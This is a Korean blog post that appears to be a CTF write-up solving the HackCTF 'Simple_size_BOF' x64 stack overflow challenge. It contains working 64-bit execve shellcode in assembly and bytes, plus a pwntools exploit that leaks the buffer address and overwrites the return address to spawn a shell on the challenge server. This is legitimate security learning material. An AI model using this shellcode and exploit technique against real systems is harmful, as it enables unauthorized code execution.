본문 바로가기

정보보안

[문제해결] x64 Simple_size_BOF 해결과정

더 심플한 버전의 오버플로우 문제인가?

 

 

실행시켜보면 저렇게 메모리주소가 나오고 다음으로는 입력을 받는다.

실행 모습

보호기법은 딱히 없는것 같다.

checksec 결과

흐름을 살펴봐야겠다.

1. 출력버퍼 0으로 설정

2. s에 있는 문자 출력(삐빅 으로 시작하는 문자열이 들어있음)

3. buf: 와 함께 var_6d30의 위치 출력

4. var_6d30에 입력을 받음

 

함수와 문자열에는 아쉽게도 "/bin/bash"와 관련된 부분은 찾을 수 없었다.

 

직접 실행하는 코드를 넣고(nx bit가 비활성화 되어있기 때문), 흐름을 유일하게 바꿀 수 있는 return address 부분을 변조하는 방법을 써야할것 같다.

 

쉘코드는 저번에 만들었던 [문제해결] HackCTF 내 버퍼가 흘러넘친다!!! 해결과정 (tistory.com)  쉘코드를 이용할 것이다.

 

저번에 만들었던 쉘코드는 32비트 기준이라는 점을 까먹고 있었다. 평소에 64비트에는 무조건 32비트 프로그램에 실행될거라는 편견을 가지고 있던것이 원인인것 같다. 쉘코드를 64비트에 맞춰서 다시 짜줘야할것 같다. 

 

<64 bit assembly code>(참고자료 : 64bit Linux Binary 취약점 분석 - (3) ROP - SW취약점분석 - CPUU의 Daydreamin' (postype.com) 에 있는 32bit, 64bit 비교 표)

section .text

global _start

_start
xor rax,rax
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov al,0x3b
syscall

1. 레지스터를 가리키는 이름

2. system call number와 system call 호출방식(0xeb, syscall)

3. 문자열을 한번에 넣을 수 없어 레지스터를 통해 간접적으로 넣기

이 점들이 바뀌었다.

(rdi 레지스터는 그냥 재활용 했다.)

 

이걸 기계어 코드로 바꾸면 이렇게 된다.

\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05

 

 

이제 필요한것은 덮어쓸 길이와 돌아갈 주소이다.

덮어쓸 길이를 알아내기 위해 스택 모습을 봐야겠다.

와우 배열 크기가 엄청 크다.

문자 배열은 27952칸 만큼의 크기를 갖고있다. (왜 문제 이름이 simple size인지 모르겠다...)

여기에 이전 ebp주소가 담겨있는 8을 더하면 덮어써야할 크기는 총 27960칸이 된다.

입력값을 그림으로 나타내면 다음과 같다.

 

 

이제 이동할 주소를 구해야한다. ASLR이 걸려있나 여러번 실행해봤더니

ASLR이 걸려있는모습

버퍼의 주소가 계속 변한다. 하지만, 시작주소를 계속 노출해주고 있으니 동적으로 구해서 입력값에 넣어야할것 같다.

 

<메모리주소 동적으로 구하는 코드>

from pwn import *

p = process("./Simple_size_bof")
p.recvline()
s = p.recvline().decode('utf-8')[5:]
#hex = byte.hex()
print(hex(int(s,16)))

첫번째는 삐빅~으로 시작하는 문자열을 넘기기 위해 라인을 한번 입력받고

두번째 라인을 입력받을때 0x위치부터 저장할 수 있도록 5번 인덱스부터 슬라이싱했다.

입력받은 문자열을 문자열->정수->16진수 형태로 변환하면 16진수 형태의 주소값을 얻을 수 있다.

그러나 p64()함수는 인자로 정수값을 받기 때문에 문자열을 정수까지만 변환할 것이다.

추출 결과

필요한 것들을 모두 구했으니 공격 코드를 작성해 보겠다.

 

(여기서 계속 안되었던 이유가 32비트 쉘코드를 넣으려 해서 계속 안되었던 것이다.)

 

 

<exploit code>

#!/bin/python
from pwn import *

#extract hex address
p = remote('ctf.j0n9hyun.xyz', 3005)
p.recvline()
byte = p.recvline().decode('utf-8')
s = byte[5:]
addr = int(s,16)

#send input
data = b"\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05"
data += b"A" * 27932
data += p64(addr)
p.sendline(data)
#switch to interactive
p.interactive()

 

<결과>

성공!

64비트 쉘코드 때문에 생각보다 시간이 오래걸렸다.